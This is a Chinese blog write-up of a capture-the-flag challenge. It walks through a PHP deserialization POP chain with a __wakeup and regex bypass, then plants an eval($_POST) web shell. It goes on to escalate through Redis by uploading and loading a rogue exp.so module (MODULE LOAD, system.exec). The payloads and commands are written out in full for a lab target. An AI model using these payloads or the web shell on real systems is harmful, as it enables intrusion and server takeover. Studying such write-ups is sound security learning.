[天翼杯 2021]esay_eval——Redis(主从复制)提权初见

NSSCTF

[天翼杯 2021]esay_eval

Redis主从复制初见

上来先是反序列化,看代码:

<?php
class A{
    public $code = "";
    function __call($method,$args){
        eval($this->code);
        
    }
    function __wakeup(){
        $this->code = "";
    }
}

class B{
    function __destruct(){
        echo $this->a->a();
    }
}
if(isset($_REQUEST['poc'])){
    preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
    if (isset($ret[1])) {
        foreach ($ret[1] as $i) {
            if(intval($i)!==1){
                exit("you want to bypass wakeup ? no !");
            }
        }
        unserialize($_REQUEST['poc']);    
    }


}else{
    highlight_file(__FILE__);
} 

第一步要先构造pop链,可以看到有eval这就是尾巴,一步一步找,链子如下:

首 => B::__destruct() => A::__call() => 尾

尾巴是class A中的__call()魔术方法

__call():当调用对象中不存在的方法会自动调用该方法

顺理成章的,B类中的__destruct()方法明显访问了调用对象中不存在的方法,所以上一级便是他

通过以上pop链,我们不难得知,我们要绕过__wakeup()并且要绕过preg_match正则匹配,这里匹配所有以字母 B 或 A 开头,后跟一个冒号的字符串,然后捕获冒号后面的所有内容,直到下一个冒号出现。

所以这里利用php对类名大小写不敏感的特性去绕过,在构造payload的时候,将类名换为a,b

exp:

<?php
class a
{
    public $code = "";

    function __call($method, $args)
    {
        eval($this->code);

    }
}
class b
{
    function __destruct()
    {
        echo $this->a->a();
    }
}
$c = new A();
$c ->code = "echo 111;";
$d = new B();
$d ->a=$c;
echo (serialize($d));
?>

运行可得出反序列化

O:1:"b":1:{s:1:"a";O:1:"a":1:{s:4:"code";s:9:"echo 111;";}}111

但是我们要绕过class A的__wakeup()

__wakeup()函数漏洞原理:在类对象属性个数超过实际个数时就会不执行wakeup函数。

所以我们修改一下类的属性个数,然后构造payload:

?poc=O:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:9:"echo 111;";}}

可以得到回显
请添加图片描述

然后当我试图进行命令执行的时候,就卡住了,看了看佬们的wp

我们要用反序列化传入一句话木马,然后利用蚁剑进行连接

$c = new A();
$c ->code = "eval(\$_POST[Leaf]);";
$d = new B();
$d ->a=$c;
echo (serialize($d));

请添加图片描述

笑死,根本没有那么简单,当我看根目录的时候弹出报错:我没有权限
请添加图片描述

那么只能从看的到的文件进行入手了:

请添加图片描述

这里有vim缓存泄露

在开发人员使用 vim 编辑器 编辑文本时,系统会自动生成一个备份文件,当编辑完成后,保存时,原文件会更新,备份文件会被自动删除。

但是,当编辑操作意外终止时,这个备份文件就会保留,如果多次编辑文件都意外退出,备份文件并不会覆盖,而是以 swp、swo、swn 等其他格式,依次备份。

经过整理,和分析,发现这是redis的连接,后面是密码,所以我们要上传一下连接redis的文件

这里要下载exp.so文件,并进行利用,简单解释一下exp.so文件

Redis 中的 exp.so 文件通常被用作 Redis 提权的一种方式。这个文件是一个 Redis 模块,它可以在 Redis 服务器中执行任意代码。

Redis 模块是一种可插拔的扩展,它允许用户在 Redis 服务器中添加新的功能。exp.so 文件是一个 Redis 模块,它提供了一些命令和功能,可以让攻击者在 Redis 服务器中执行任意代码,从而获得服务器的控制权。

在 Redis 提权攻击中,攻击者通常会利用 Redis 的漏洞或者弱密码,获取 Redis 服务器的访问权限。一旦攻击者获得了访问权限,他们就可以上传 exp.so 文件到 Redis 服务器中,并使用 Redis 的 module load 命令加载这个文件。这个文件会在 Redis 服务器中执行任意代码,从而让攻击者获得服务器的控制权。

exp.so文件地址下载:https://github.com/Dliv3/redis-rogue-server
请添加图片描述
上传exp.so文件

请添加图片描述

然后要用蚁剑插件进行连接

这里有两个下载方法:
1.通过蚁剑的插件市场直接下载(就是会有些慢,建议魔法上网)
2.蚁剑Redis插件地址:https://github.com/Medicean/AS_Redis

下载好之后我们用插件来进行Redis提权
请添加图片描述

进入之后添加,然后输入找到的密码:
请添加图片描述

前面介绍过,我们要利用module load 命令加载这个文件,然后才能进行RCE,所以在虚拟命令行输入

MODULE LOAD /var/www/html/exp.so

然后我们就可以进行命令执行了

system.exec "ls /"
system.exec "cat /flagaasdbjanssctf"

请添加图片描述

有点好玩()

  • 4
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Leafzzz__

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值